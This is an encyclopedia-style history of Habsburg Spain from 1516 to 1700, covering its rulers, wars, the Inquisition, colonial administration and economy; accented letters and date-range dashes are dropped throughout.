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          Habsburg Spain refers to the history of Spain over the 16th and 17th centuries (1516-1700), when this country was ruled by the Habsburg dynasty (also associated to its role in the history of Central Europe). Under Habsburg rule (chiefly under Charles I of Spain and Philip II of Spain), Spain reached the zenith of its influence and power, controlling territory ranging from the Philippines in Asia (named after Philip II) to the Low Countries and large areas of present day Italy in Europe, along with its American colonies. Altogether, Habsburg Spain was, for a time, the world's greatest power. For this reason, this period of Spanish history has also been referred to as the "Age of Expansion".


          During the latter Habsburg kings, and mainly in the second half of the 17th century, Spain experienced a gradual political and cultural decline.


          Spain's 16th century maritime supremacy was demonstrated by the victory over the Ottomans at Lepanto in 1571 (which was symbolically important to the Spanish), and then after the setback of the Spanish Armada in 1588, in a series of victories against England in the Anglo-Spanish War of 15851604. However during the middle decades of the 17th century Habsburg Spain's maritime power went into a long decline with mounting defeats against the United Provinces. On land Habsburg Spain became embroiled in the vast Thirty Years' War, and in the second half of the 17th century the Spanish were defeated by the French, led by King Louis XIV. Habsburg rule came to an end in Spain with the death in 1700 of Charles II which resulted in the War of the Spanish Succession.


          The Habsburg years were also a Spanish Golden Age of cultural efflorescence. Some of the outstanding figures of the period were Diego Velzquez, El Greco, Miguel de Cervantes, and Pedro Caldern de la Barca.


          


          The beginnings of the empire (15041521)
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          Spain as a unified state come into being de jure only after the death of Charles II and with him the extinction of the Spanish Habsburg dynasty, and the ascension of Philip V and the inauguration of the Bourbon dynasty and its reforms. However, the Spanish Habsburg created the first de facto unified state on the peninsula, one that would only briefly control Portugal as well.


          The political area referred to as Spain was, in fact, a confederacy comprised of several ancient, individual kingdoms Aragon, Castile, Len, and Navarre. In some cases, these individual kingdoms themselves were confederations, most notably, the Crown of Aragon (Principality of Catalonia, Kingdom of Aragon, Kingdom of Valencia, and Kingdom of Majorca). The marriage of Isabella of Castile and Ferdinand II of Aragon in 1469 united two of the greatest of these kingdoms Castile and Aragon, which led to their largely successful campaign against the Moors, peaking at the conquest of Granada in 1492.


          In 1504, Queen Isabella died, and although Ferdinand tried to maintain his position over Castile in the wake of her death, the Castilian Cortes Generales (the royal court of Spain) chose to crown Isabella's daughter Joanna queen. Her husband Philip was the Habsburg son of the Holy Roman Emperor Maximilian I and Mary of Burgundy and simultaneously became king-consort Philip I of Castile. Shortly thereafter Joanna began to lapse into insanity, though exactly how mentally ill she actually was has been the topic of some debate. In 1506, Philip assumed the regency on her behalf, but he died later that year under mysterious circumstances, possibly poisoned by his father-in-law . Since their oldest son Charles was only six, the Cortes reluctantly allowed Joanna's father Ferdinand to rule the country as the regent of Joanna and Charles.


          Spain was now united under a single ruler, Ferdinand II of Aragon. As sole monarch, Ferdinand adopted a more aggressive policy than he had as Isabella's husband, enlarging Spain's sphere of influence in Italy, strengthening it against France. As ruler of Aragon, Ferdinand had been involved in the struggle against France and Venice for control of Italy; these conflicts became the centre of Ferdinand's foreign policy as king. Ferdinand's first investment of Spanish forces came in the War of the League of Cambrai against Venice, where the Spanish soldiers distinguished themselves on the field alongside their French allies at the Battle of Agnadello (1509). Only a year later, Ferdinand joined the Holy League against France, seeing a chance at taking both Naples - to which he held a dynastic claim - and Navarra, which was claimed through his marriage to Germaine de Foix. The war was less of a success than that against Venice, and in 1516, France agreed to a truce that left Milan under French control and recognized Spanish hegemony in northern Navarre. Unfortunately Ferdinand died later that year.
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          Ferdinand's death led to the ascension of young Charles to the throne as Charles I of Castile and Aragon, effectively founding the monarchy of Spain. His Spanish inheritance included all the Spanish possessions in the New World and around the Mediterranean. Upon the death of his Habsburg father in 1506, Charles had inherited the Netherlands and Franche-Comt, growing up in Flanders. In 1519, with the death of his paternal grandfather Maximilian I, Charles inherited the Habsburg territories in Germany, and was duly elected Emperor Charles V that year. His mother remained as titular queen of Castile until her death 1555, but due to her health, Charles (titled there as king also) exercised all true power. At that point, Emperor and King Charles was the most powerful man in Christendom.


          The accumulation of so much power to one man and one dynasty greatly concerned the king of France, Francis I, who found himself surrounded by Habsburg territories. In 1521, Francis invaded the Spanish possessions in Italy and inaugurated a second round of Franco-Spanish conflict. The war was a disaster for France, which suffered defeats at Biccoca (1522), Pavia (1525, at which Francis was captured), and Landriano (1529) before Francis relented and abandoned Milan to Spain once more.


          


          An emperor and a king (15211556)
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          Charless victory at the Battle of Pavia, 1525, surprised many Italians and Germans and elicited concerns that Charles would endeavor to gain ever greater power. Pope Clement VII switched sides and now joined forces with France and prominent Italian states against the Habsburg Emperor, in the War of the League of Cognac. In 1527, due to Charles' inability to pay them sufficiently his armies in Northern Italy mutineed and sacked Rome itself for loot, forcing Clement, and succeeding popes, to be considerably more prudent in their dealings with secular authorities: in 1533, Clements refusal to annul Henry VIII of Englands marriage to Catherine of Aragon (Charles' aunt) was a direct consequence of his unwillingness to offend the emperor and have his capital perhaps sacked a second time. The Peace of Barcelona, signed between Charles and the pope in 1529, established a more cordial relationship between the two leaders that effectively named Spain as the protector of the Catholic cause and recognized Charles as king of Lombardy in return for Spanish intervention in overthrowing the rebellious Florentine Republic.


          In 1543, Francis I, king of France, announced his unprecedented alliance with the Ottoman sultan, Suleiman the Magnificent, by occupying the Spanish-controlled city of Nice in cooperation with Turkish forces. Henry VIII of England, who bore a greater grudge against France than he held against the Emperor for standing in the way of his divorce, joined Charles in his invasion of France. Although the Spanish army was soundly defeated at the Battle of Ceresole, in Savoy, Henry fared better, and France was forced to accept terms. The Austrians, led by Charless younger brother Ferdinand, continued to fight the Ottomans in the east. With France defeated, Charles went to take care of an older problem: the Schmalkaldic League.
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          The Protestant Reformation had begun in Germany in 1517. Charles, through his position as Holy Roman Emperor, his important holdings along Germany's frontiers, and his close relationship with his Habsburg relatives in Austria, had a vested interest in maintaining the stability of the Holy Roman Empire. The Peasants' War had broken out in Germany in 1524 and ravaged the country until it was brutally put down in 1526. Charles, even as far away from Germany as he was, was committed to keeping order. Since the Peasants' War, the Protestants had organized themselves into a defensive league to protect themselves from Emperor Charles. Under the protection of the Schmalkaldic League, the Protestant states had committed a number of outrages in the eyes of the Catholic Church the confiscation of some ecclesiastical territories, among other things and had defied the authority of the Emperor.


          Perhaps more importantly to the strategy of the Spanish king, the League had allied itself with the French, and efforts in Germany to undermine the League had been rebuffed. Francis defeat in 1544 led to the annulment of the alliance with the Protestants, and Charles took advantage of the opportunity. He first tried the path of negotiation at the Council of Trent in 1545, but the Protestant leadership, feeling betrayed by the stance taken by the Catholics at the council, went to war, led by the Saxon elector Maurice. In response, Charles invaded Germany at the head of a mixed Dutch-Spanish army, hoping to restore the Imperial authority. The emperor personally inflicted a decisive defeat on the Protestants at the historic Battle of Mhlberg in 1547. In 1555, Charles signed the Peace of Augsburg with the Protestant states and restored stability in Germany on his principle of cuius regio, eius religio, a position unpopular with the Spanish and Italian clergy. Charles' involvement in Germany would establish a role for Spain as protector of the Catholic Habsburg cause in the Holy Roman Empire; the precedent would seven decades later lead to involvement in the war that would decisively end Spain's status as Europe's leading power.


          In 1526, Charles married Infanta Isabella, the sister of John III of Portugal. In 1556, Charles abdicated from his positions, giving his Spanish empire to his only surviving son, Philip II of Spain, and the Holy Roman Empire to his brother, Ferdinand. Charles retired to the monastery of Yuste ( Extremadura, Spain), where he is thought to have had a nervous breakdown, and died in 1558.


          


          St. Quentin to Lepanto (15561571)
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          Spain was not yet at peace, as the aggressive Henry II of France came to the throne in 1547 and immediately renewed the conflict with Spain. Charles' successor, Philip II, aggressively conducted the war against France, crushing a French army at the Battle of St. Quentin in Picardy in 1557 and defeating Henry again at the Battle of Gravelines the following year. The Peace of Cateau-Cambrsis, signed in 1559, permanently recognized Spanish claims in Italy. In the celebrations that followed the treaty, Henry was killed by a stray splinter from a lance. France was stricken for the next thirty years by civil war and unrest (see French Wars of Religion) and was unable to effectively compete with Spain and the Habsburgs in the European power struggle. Freed from any serious French opposition, Spain saw the apogee of its might and territorial reach in the period 15591643.


          Charles and his successors, while they may have been most comfortable with and fond of Spain, regarded it as just another part of their empire, rather than nurturing and developing it, as France, England, and the Netherlands might have in their countries. Achieving the political goals of the Habsburg dynasty  which primarily meant undermining the power of France, maintaining Catholic Habsburg hegemony in Germany, and suppressing the Ottoman Empire  was more important to the Habsburg rulers than the welfare of Spain. This emphasis would contribute to the decline of Spanish imperial power.


          The Spanish Empire had grown substantially since the days of Ferdinand and Isabella. The Aztec and Inca Empires were conquered during Charles' reign, from 1519 to 1521 and 1540 to 1558, respectively. Spanish settlements were established in the New World: Mexico City, the most important colonial city established in 1524 to be the primary centre of administration in the New World; Florida, colonized in the 1560s; Buenos Aires, established in 1536; and New Granada (modern Colombia), colonized in the 1530s. Manila was also established in 1572. The Spanish Empire abroad became the source of Spanish wealth and power in Europe. But as precious metal shipments rapidly expanded late in the century it contributed to the general inflation that was affecting the whole of Europe. Instead of fueling the Spanish economy, American silver made the country increasingly dependent on foreign sources of raw materials and manufactured goods.
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          After Spain's victory over France in 1559 and the beginning of France's religious wars, Philip's ambitions grew. The Ottoman Empire had long menaced the fringes of the Habsburg dominions in Austria and northwest Africa, and in response Ferdinand and Isabella had sent expeditions to North Africa, capturing Melilla in 1497 and Oran in 1509. Charles had preferred to combat the Ottomans through a considerably more maritime strategy, hampering Ottoman landings on the Venetian territories in the Eastern Mediterranean. Only in response to raids on the eastern coast of Spain did Charles personally lead attacks against holdings in North Africa (1545). In 1565, the Spanish defeated an Ottoman landing on the strategically vital island of Malta, defended by the Knights of St. John. The death of Suleiman the Magnificent the following year and his succession by the less capable Selim the Sot emboldened Philip, who resolved to carry the war to the Ottoman homelands. In 1571, a mixed naval expedition led by Charles' illegitimate son Don John of Austria annihilated the Ottoman fleet at the Battle of Lepanto, in one of the most decisive battles in naval history. The battle ended the growing Ottoman naval hegemony in the Mediterranean.


          


          The troubled king (15711598)


          The time for rejoicing in Madrid was short-lived. In 1566, Calvinist-led riots in the Spanish Netherlands (roughly equal to modern-day Netherlands and Belgium, inherited by Philip from Charles and his Burgundian forebearers) prompted the Duke of Alva to conduct a military expedition to restore order. In 1568, William the Silent led a failed attempt to drive the tyrannical Alva from the Netherlands. This attempt is generally considered to signal the start of the Eighty Years' War that ended with the independence of the United Provinces. The Spanish, who derived a great deal of wealth from the Netherlands and particularly from the vital port of Antwerp, were committed to restoring order and maintaining their hold on the provinces. In 1572, a band of rebel Dutch privateers known as the watergeuzen ("Sea Beggars") seized a number of Dutch coastal towns, proclaimed their support for William and denounced the Spanish leadership.
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          For Spain, the war was a creeping disaster. In 1574, the Spanish army under Luis de Requesns was repulsed from the Siege of Leiden after the Dutch destroyed the dykes that held back the North Sea from the low-lying provinces. In 1576, faced with the costs of his 80,000-man army of occupation in the Netherlands and the massive fleet that had won at Lepanto, Philip was forced to accept bankruptcy. The army in the Netherlands mutinied not long after, seizing Antwerp and looting the southern Netherlands, prompting several cities in the previously peaceful southern provinces to join the rebellion. The Spanish chose the route of negotiation, and pacified most of the southern provinces again with the Union of Arras in 1579.


          The Arras agreement required all Spanish troops to leave these lands. In 1580, this gave king Philip the opportunity to strengthen his position when the last male member of the Portuguese royal family, Cardinal Henry of Portugal, died. Philip asserted a weak claim to the Portuguese throne and in June sent an army under the leadership of the Duke of Alba to Lisbon to assure his succession. Although the Duke and the dynastic union were controversial in Lisbon, and violently opposed by many, the result was that the combined Spanish and Portuguese empires placed into Philips hands most of the explored New World along with a vast trading empire in Africa and Asia.
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          To keep Portugal under control required an extensive occupation force, and Spain was still financially strapped since the 1576 bankruptcy. In 1584, William the Silent was assassinated by a half-deranged Catholic, and the death of the popular Dutch resistance leader was expected to bring an end to the war; it did not. In 1586, Queen Elizabeth I of England, supported the Protestant cause in the Netherlands and France, and Sir Francis Drake launched attacks against Spanish merchants in the Caribbean and the Pacific Ocean, along with a particularly aggressive attack on the port of Cadiz. In 1588, hoping to put a stop to Elizabeths meddling, Philip sent the Spanish Armada to attack England. Of the 130 ships sent on the mission, only half returned to Spain, with perhaps as many as 16 000 troops and sailors perishing from all causes. Some were victims of English ships, but most were victims of the storm encountered on their return trip around the north of Scotland and Ireland. The disastrous outcome, resulting from a combination of the unfavorable weather and a good deal of luck for the English under Lord Howard of Effingham, resulted in a complete overhaul of the Spanish navy's ships, weapons and tactics. It struck back at English attacks and with the help of a bungled English counter attack ( English Armada) quickly recovered its preeminent position which it maintained for another half of a century. Spain also provided support to a gruelling Irish war which drained England of resources and also raided English coastal towns. However, now the Spanish Habsburgs had yet another powerful enemy with which to contend, forcing Spain to maintain an even stronger, more expensive navy, atop of massive expenditures for its armies in its many scattered territories.


          Spain had invested itself in the religious warfare in France after Henry IIs death. In 1589, Henry III, the last of the Valois lineage, died at the walls of Paris. His successor, Henry IV of Navarre, the first Bourbon king of France, was a man of great ability, winning key victories against the Catholic League at Arques (1589) and Ivry (1590). Committed to stopping Henry from becoming King of France, the Spanish divided their army in the Netherlands and invaded France in 1590.


          [bookmark: .22God_is_Spanish.22_.281596.E2.80.931626.29]


          "God is Spanish" (15961626)
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          Faced with wars against England, France, and the Netherlands, each led by capable leaders, already-bankrupted Spain was outmatched. Struggling with continuing piracy against its shipping in the Atlantic and the disruption of its vital gold shipments from the New World, Spain was forced to admit bankruptcy again in 1596. The Spanish attempted to extricate themselves from the several conflicts they were involved in, first signing the Treaty of Vervins with France in 1598, recognizing Henry IV (since 1593 a Catholic) as king of France, and restoring many of the stipulations of the previous Peace of Cateau-Cambrsis. A treaty with England was agreed upon in 1604, following the accession of the more tractable Stuart King James I.


          Peace with England and France implied that Spain could focus her energies on restoring her rule to the Dutch provinces. The Dutch, led by Maurice of Nassau, the son of William the Silent and perhaps the greatest strategist of his time, had succeeded in taking a number of border cities since 1590, including the fortress of Breda. Following the peace with England, the new Spanish commander Ambrosio Spinola pressed hard against the Dutch. Spinola, a general of abilities to match Maurice, was prevented from conquering the Netherlands only by Spains renewed bankruptcy in 1607. Faced with ruined finances, in 1609, the Twelve Years' Truce was signed between Spain and the United Provinces.


          Spain made a fair recovery during the truce, ordering her finances and doing much to restore her prestige and stability in the run-up to the last truly great war in which she would play as a leading power. In the Netherlands, the rule of Philip II's daughter, Isabella Clara Eugenia and her husband, Archduke Albert, restored stability to the southern Netherlands and pacified anti-Spanish sentiments in the area. Philip IIs successor, Philip III, was a man of limited ability uninterested in politics, preferring to allow others to take care of the details. His chief minister was the capable Duke of Lerma. Lerma, a financial wizard, succeeded in turning Spains account books around and made himself one of the richest men in Europe with a fortune of some 44 million thalers, Lermas personal success attracted enemies and well-founded allegations of corruption; in 1618, the king replaced him with Don Balthasar de Ziga. While the Duke of Lerma (and to a large extent Philip III) had been disinterested in the affairs of their ally, Austria, Ziga was a veteran ambassador to Vienna and believed that the key to restraining the resurgent French and eliminating the Dutch was a closer alliance with Habsburg Austria.
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          In 1618, beginning with the Defenestration of Prague, Austria and the Holy Roman Emperor, Ferdinand II of Germany, embarked on a campaign against the Protestant Union and Bohemia. Ziga encouraged Philip to join the Austrian Habsburgs in the war, and Ambrogio Spinola, the rising star of the Spanish army, was sent at the head of the Army of Flanders to intervene. Thus, Spain entered into the Thirty Years War.


          In 1621, the inoffensive and ineffective Philip III was replaced by the considerably more active and pious Philip IV. The following year, Ziga was replaced by Gaspar de Guzmn y Pimentel, Count-Duke of Olivares, an able man who believed that the centre of all Spains woes rest in Holland. After certain initial setbacks, the Bohemians were defeated at White Mountain in 1621, and again at Stadtlohn in 1623. The war with the Netherlands was renewed in 1621 with Spinola taking the fortress of Breda in 1625. The intervention of the Danish king Christian IV in the war worried some (Christian was one of Europes few monarchs who had no worries over his finances) but the victory of the Imperial general Albert of Wallenstein over the Danes at Dessau Bridge and again at Lutter, both in 1626, eliminated the threat. There was hope in Madrid that the Netherlands might finally be reincorporated into the Empire, and after the defeat of Denmark the Protestants in Germany seemed subdued. France was once again involved in her own instabilities (the famous Siege of La Rochelle began in 1627), and Spain's eminence seemed irrefutable. The Count-Duke Olivares stridently affirmed God is Spanish and fights for our nation these days, (Brown and Elliott, 1980, p. 190) and many of Spains opponents may have grudgingly agreed.


          


          The road to Rocroi (16261643)
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          Olivares was a man sadly out of time; he realized that Spain needed to reform, and to reform it needed peace. The destruction of the United Provinces of the Netherlands was added to his list of necessities because behind every anti-Habsburg coalition there was Dutch money: Dutch bankers stood behind the East India merchants of Seville, and everywhere in the world Dutch entrepreneurship and colonists undermined Spanish and Portuguese hegemony. Spinola and the Spanish army were focused on the Netherlands, and the war seemed to be going in Spain's favour.


          In 1627, the Castilian economy collapsed. The Spanish had been debasing their currency to pay for the war and prices exploded in Spain just as they had in previous years in Austria. Until 1631, parts of Castile operated on a barter economy as a result of the currency crisis, and the government was unable to collect any meaningful taxes from the peasantry, depending instead on its colonies ( Spanish treasure fleet). The Spanish armies in Germany resorted to "paying themselves" on the land. Olivares, who had backed certain tax measures in Spain pending the completion of the war, was further blamed for an embarrassing and fruitless war in Italy (see War of the Mantuan Succession). The Dutch, who during the Twelve Years Truce had made their navy a priority, devastated Spanish and (especially) Portuguese maritime trade, on which Spain was wholly dependent after the economic collapse. The Spanish, with resources stretched thin, were increasingly unable to cope with the rapidly growing naval threats.


          In 1630, Gustavus Adolphus of Sweden, one of the most able commanders of the time, landed in Germany and relieved the port of Stralsund that was the last stronghold on the continent held by German forces belligerent to the Emperor. Gustav then marched south winning notable victories at Breitenfeld and Lutzen, attracting greater support for the Protestant cause the further he went. The situation for the Catholics improved with Gustav's death at Lutzen in 1632 and a shocking victory for Imperial forces under Cardinal-Infante Ferdinand and Ferdinand II of Hungary at Nordlingen in 1634. From a position of strength, the Emperor approached the war-weary German states with a peace in 1635; many accepted, including the two most powerful, Brandenburg and Saxony.


          Cardinal Richelieu had been a strong supporter of the Dutch and Protestants since the beginning of the war, sending funds and equipment in an attempt to stem Habsburg strength in Europe. Richelieu decided that the recently-signed Peace of Prague was contrary to French interests and declared war on the Holy Roman Emperor and Spain within months of the peace being signed. The more experienced Spanish forces scored initial successes; Olivares ordered a lightning campaign into northern France from the Spanish Netherlands, hoping to shatter the resolve of King Louis XIII's ministers and topple Richelieu before the war exhausted Spanish finances and France's military resources could be fully deployed. In the "anne de Corbie", 1636, Spanish forces advanced as far south as Amiens and Corbie, threatening Paris and quite nearly ending the war on their terms.
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          After 1636, however, Olivares, fearful of provoking another disastrous bankruptcy, stopped the advance. The Spanish army would never again penetrate. The French thus gained time to properly mobilise. At the Battle of the Downs in 1639 a Spanish fleet was destroyed by the Dutch navy, and the Spanish found themselves unable to adequately reinforce and supply their forces in the Netherlands. The Spanish Army of Flanders, which represented the finest of Spanish soldiery and leadership, faced a French invasion led by Louis II de Bourbon, Prince de Cond in the Spanish Netherlands at Rocroi in 1643. The Spanish, led by Francisco de Melo, were devastated, with most of the Spanish infantry slaughtered or captured by French cavalry. The high reputation of the Army of Flanders was broken at Rocroi, and with it, the grandeur of Spain.


          


          The last Spanish Habsburgs (16431700)


          Supported by the French, the Catalonians, Neapolitans, and Portuguese rose up in revolt against the Spanish in the 1640s. With the Spanish Netherlands effectively lost after the Battle of Lens in 1648, the Spanish made peace with the Dutch and recognized the independent United Provinces in the Peace of Westphalia that ended both the Eighty Years' War and the Thirty Years' War.


          War with France continued for eleven more years. Although France suffered from a civil war from 16481652 (see Wars of the Fronde) the Spanish economy was so exhausted that they were unable to capitalize on French instability. Naples was retaken in 1648 and Catalonia in 1652, but the war came effectively to an end at the Battle of the Dunes where the French army under Vicomte de Turenne defeated the remnants of the Spanish army of the Netherlands. Spain agreed to the Peace of the Pyrenees in 1659 that ceded to France Roussillon, Foix, Artois, and much of Lorraine.


          Portugal had rebelled in 1640 under the leadership of John IV, a Braganza pretender to the throne. He had received widespread support from the Portuguese people, and the Spanish  who had to deal with rebellions elsewhere and the war with France  were unable to respond, and the Spanish and Portuguese had existed in a de facto state of peace from 1644 to 1657. When John IV died in 1657, the Spanish attempted to wrest Portugal from his son Afonso VI, but were defeated at Ameixial (1663) and Montes Claros (1665), leading to Spain's recognition of Portuguese independence in 1668.
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          Philip IV, who had seen over the course of his life the devastation of Spain's empire, sank slowly into depression after he had to dismiss his favorite courtier, Olivares, in 1643. He was saddened further after the death of his son Baltasar Carlos in 1646 at the young age of seventeen. Philip became increasingly mystical near the end of his life, and ultimately attempted to undo some of the damage he had done to his country. He died in 1665 before anything could be changed, hoping his son might somehow be more fortunate. Charles, his only surviving son, was seriously deformed and mentally retarded, and remained under the influence of his mother all his life. Struggling with his deformities and the expectations and ridicule of his family and the court, Charles led a miserable existence.


          Charles and his regency were incompetent in dealing with the War of Devolution that Louis XIV of France prosecuted against the Spanish Netherlands in 16671668, losing considerable prestige and territory, including the cities of Lille and Charleroi. In the Nine Years' War Louis once again invaded the Spanish Netherlands. French forces led by the Duke of Luxembourg defeated the Spanish at Fleurus (1690), and subsequently defeated Dutch forces under William III, who fought on Spain's side. The war ended with most of the Spanish Netherlands under French occupation, including the important cities of Ghent and Luxembourg. The war revealed to the world how vulnerable and backward the Spanish defenses and bureaucracy were, though the ineffective Spanish government took no action to improve them.


          The final decades of the 17th century saw utter decay and stagnation in Spain; while the rest of Europe went through exciting changes in government and society, the Dutch Golden Age, the Glorious Revolution in England and the reign of the "Sun King" Louis XIV in France - Spain remained adrift and inward looking. The Spanish bureaucracy that had been built up around the charismatic, industrious, and intelligent Charles I and Philip II demanded a strong monarch; the weakness of Philip III and IV led it to its becoming bloated and corrupt. As his final wishes, the childless king of Spain desired that the throne pass to the Bourbon prince Philip of Anjou, rather than to a member of the family that had tormented him throughout his life. Charles II died in 1700, ending the line of Spanish Habsburgs exactly two centuries after Charles I was born.


          


          Spanish society and the Inquisition (15161700)
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          The Spanish Inquisition was formally launched during the reign of the Catholic Monarchs, continued by their Habsburg successors, and only ended in the 19th century. Under Charles I the inquisition became a formal department in the Spanish government, hurtling out of control as the 16th century progressed. Charles also passed the Limpieza, a law that excluded those not of pure Old Christian, non-Jewish blood from public office. Although torture was common in Europe, the way the Inquisition was practiced encouraged corruption and betrayal, and it became a driving factor in the decay of Spanish power. It became a method for enemies, jealous friends and even quarreling relations to usurp influence and property. An accusation, even if largely unfounded, led to a long and agonizing trial that might take years before coming to a verdict, during which time the accused's reputation and esteem was destroyed. The notorious auto de fe was a combination of public humiliation of the repentant and a gross spectacle of human torture for the "guilty".


          Philip II greatly expanded the Inquisition and made church orthodoxy a goal of public policy. In 1559, three years after Philip came to power, students in Spain were forbidden to travel abroad, the leaders of the Inquisition were placed in charge of censorship, and books could no longer be imported. Philip vigorously tried to excise Protestantism out of Spain, holding innumerable campaigns to eliminate Lutheran and Calvinist literature from the country, hoping to avoid the chaos taking place in France.


          The church in Spain had been purged of many of its administrative excesses in the 15th century by Cardinal Ximenes, and the Inquisition served to expurgate many of the more radical reformers who sought to change church theology as the Protestant reformers wanted. Instead, Spain became the scion of the Counter-reformation as it emerged from the Reconquista. Spain bred two unique threads of counter-reformationary thought in the persons of Saint Theresa of Avila and the Basque Ignatius Loyola. Theresa advocated strict monasticism and a revival of more ancient traditions of penitence. She experienced a mystical ecstasy that became profoundly influential on Spanish culture and art. Ignatius Loyola, founder of the Jesuit Order, was influential across the world in his stress on spiritual and mental excellence and contributed to a resurgence of learning across Europe. In 1625, a peak of Spanish prestige and power, the Count-Duke of Olivares established the Jesuit colegia imperial in Madrid to train Spanish nobles in the humanities and military arts.
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          The Moriscos of southern Spain had been forcibly converted to Christianity in 1502, but under the rule of Charles I they had been able to obtain a degree of tolerance from their Christian rulers. They were allowed to practice their former custom, dress, and language, and religious laws were laxly enforced. In 1568, however, under Philip, the Moriscos rebelled (see Morisco Revolt) after the old laws were enforced again. The revolt was only put down by Italian troops under Don John of Austria, and even then the Moriscos retreated to the highlands and were not defeated until 1570. The revolt was followed by a massive resettlement program in which 12,000 Christian peasants replaced the Moriscos. In 1609, on the advice of the Duke of Lerma, Philip III expelled the 300,000 Moriscos of Spain.


          The Enlightenment chiefly critiqued the Spanish for excessive religious zeal and "laziness". Among the members of the aristocracy, who enjoyed increasing security in their positions of power (unlike their colleagues in France and England who were increasingly competitive) the argument of "Spanish sloth" might apply. The expulsion of the industrious Moriscos and Jews certainly did little to help the Spanish economy and society that had relied on their work and expertise far more than the Christians realized.


          


          The Spanish bureaucracy (15161700)


          The Spanish received a massive influx of gold from the colonies in the New World as plunder when they were conquered, much of which Charles used to prosecute his wars in Europe. In the 1520s silver began to be extracted from the rich deposits at Guanajuato, but it was not until the 1540s, with the opening of the mines at Potos and Zacatecas, that silver was to become the fabled source of wealth it has assumed in legend. The Spanish left mining to private enterprise but instituted a tax known as the "quinto real" whereby a fifth of the metal was collected by the government. The Spanish were quite successful in enforcing the tax throughout their vast empire in the New World; all bullion had to pass through the House of Trade in Seville, under the direction of the Council of the Indies. The supply of Almadn mercury, vital to extracting silver from the ore, was controlled by the state and contributed to the rigor of Spanish tax policy.


          Inflation - both in Spain and in the rest of Europe - was primarily caused by debt, but a level of debt made possible later by the rising silver imports; Charles had conducted most of his wars on credit, and in 1557, a year after he abdicated, Spain was forced into its first debt moratorium, setting a pattern that would be repeated with ever more disruptive economic consequences.
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          Faced with the growing threat of piracy, in 1564 the Spanish adopted a convoy system far ahead of its time, with treasure fleets leaving the Americas in April and August. The policy proved efficient, and was quite successful. Only two convoys were captured; one in 1628 when it was captured by the Dutch, and another in 1656, captured by the English, but by then the convoys were a shadow of what they had been at their peak at the end of the previous century. Nevertheless even without being completely captured they frequently came under attack, which inevitably took its toll. Not all shipping of the dispersed empire could be protected by large convoys, allowing the Dutch, English and French privateers and pirates the opportunity to attack trade along the American and Spanish coastlines and raid isolated settlements. This became particularly savage from the 1650s, with all sides falling to extraordinary levels of barbarity, even by the harsh standards of the time. Spain also responded with no small amount of privateering, using the recaptured city of Dunkirk as a base for its Dunkirk Raiders to molest Dutch, English and French trade. More seriously, the Portuguese part of the empire, with its chronically undermanned African and Asian forts, proved nearly impossible to defend adequately, and with Spain so fully engaged on so many fronts, it could spare little for their defense. Spain also had to deal with Ottoman backed Barbary piracy in the Mediterranean - a vastly greater menace than Caribbean piracy, as well as Oriental and Dutch piracy in the waters around the Philippines.


          The growth of Spain's empire in the New World was accomplished from Seville, without the close direction of the leadership in Madrid. Charles I and Philip II were primarily concerned with their duties in Europe, and thus control of the Americas was handled by viceroys and colonial administrators who operated with virtual autonomy. The Habsburg kings regarded their colonies as feudal associations rather than integral parts of Spain. The Habsburgs, whose family had traditionally ruled over diverse, noncontiguous domains and had been forced to devolve autonomy to local administrators, replicated those feudal policies in Spain, particularly in the Basque country and Aragon.


          This meant that taxes, infrastructure improvement, and internal trade policy were defined independently by each region, leading to many internal customs barriers and tolls, and conflicting policies even within the Habsburg domains. Charles I and Philip II had been able to master the various courts through their impressive political energy, but Philip III and IV allowed it to decay, and Charles II was wholly incapable of controlling them. The development of Spain itself was hampered by the fact that Charles I and Philip II spent most of their time abroad; for most of the 16th century, Spain was administrated from Brussels and Antwerp, and it was only during the Dutch Revolt that Philip returned to Spain, where he spent most of his time in the seclusion of the monastic palace of El Escorial. The patchy empire, held together by a determined king keeping the bloated bureaucracy together, unraveled when a weak ruler came to the throne.


          There were attempts to reform the antiquated Spanish bureaucracy. Charles, on becoming king, clashed with his nobles during the Castilian War of the Communities when he attempted to fill government positions with effective Dutch and Flemish officials. Philip II encountered major resistance when he tried to enforce his authority over the Netherlands, contributing to the rebellion in that country. The Count-Duke of Olivares, Philip IV's chief minister, always regarded it as essential to Spain's survival that the bureaucracy be centralized; Olivares even backed the full union of Portugal with Spain, though he never had an opportunity to realize his ideas. Without the firm hand and diligence of Charles I and Philip II, the bureaucracy became increasingly bloated and corrupt until, by Olivares's dismissal in 1643, its condition rendered it obsolete.


          


          The Spanish economy (15161700)
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          Like most of Europe, Spain had suffered from famine and plague during the 14th and 15th centuries. By 1500, Europe was beginning to emerge from these demographic disasters, and populations began to explode - Seville, which was home to 60,000 people in 1500 burgeoned to 150,000 by the end of the century. There was a substantial movement to the cities of Spain to capitalize on new opportunities as shipbuilders and merchants to service Spain's impressive and growing empire.


          Inflation in Spain, as a result of state debt and the importation of silver and gold from the New World, triggered hardship for the peasantry. The average cost of goods quintupled in the 16th century in Spain, led by wool and grain. While reasonable when compared to the 20th century, prices in the 15th century changed very little, and the European economy was shaken by the so-called price revolution. Spain, along with England was Europe's only producer of wool, initially benefited from the rapid growth. However, like in England, there began in Spain an inclosure movement that stifled the growth of food and depopulated whole villages whose residents were forced to move to cities. The higher inflation, the burden of the Habsburg's wars and the many customs duties dividing the country and restricting trade with the Americas, stifled the growth of industry that may have provided an alternative source of income in the towns.


          Sheep-farming was practiced extensively in Castile, and grew rapidly with rising wool prices with the backing of the king. Merino sheep were annually moved from the mountains of the north to the warmer south every winter, ignoring state-mandated trails that were intended to prevent the sheep from trampling the farmland. Complaints lodged against the shepherds' guild, the Mesta, were ignored by Philip II who received a great deal of revenue from wool. Eventually, overtaxed Castile became barren, and Spain, particularly Castile, became dependent on large imports of grain to make up for crop shortfalls, that, given the cost of transportation and the risk of piracy, made staples far more expensive in Spain than elsewhere. As a result, Spain's population, and especially Castile's, never dense on the generally very dry, rocky, mountainous peninsula, grew much more slowly than France's; by Louis XIV's time, France had a population greater than that of Spain and England combined.
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          Credit emerged as a widespread tool of Spanish business in the 17th century. The city of Antwerp, in the Spanish Netherlands, lay at the heart of European commerce and its bankers financed most of Charles V's and Philip II's wars on credit. The use of "notes of exchange" became common as Antwerp banks became increasingly powerful and led to extensive speculation that helped to exaggerate price shifts. Although these trends laid the foundation for the development of capitalism in Spain and Europe as a whole, the total lack of regulation and pervasive corruption meant that small landowners often lost everything with a single stroke of misfortune. Estates in Spain grew progressively larger and the economy became increasingly uncompetitive, particularly during the reigns of Philip III and IV when repeated speculative crises shook Spain.


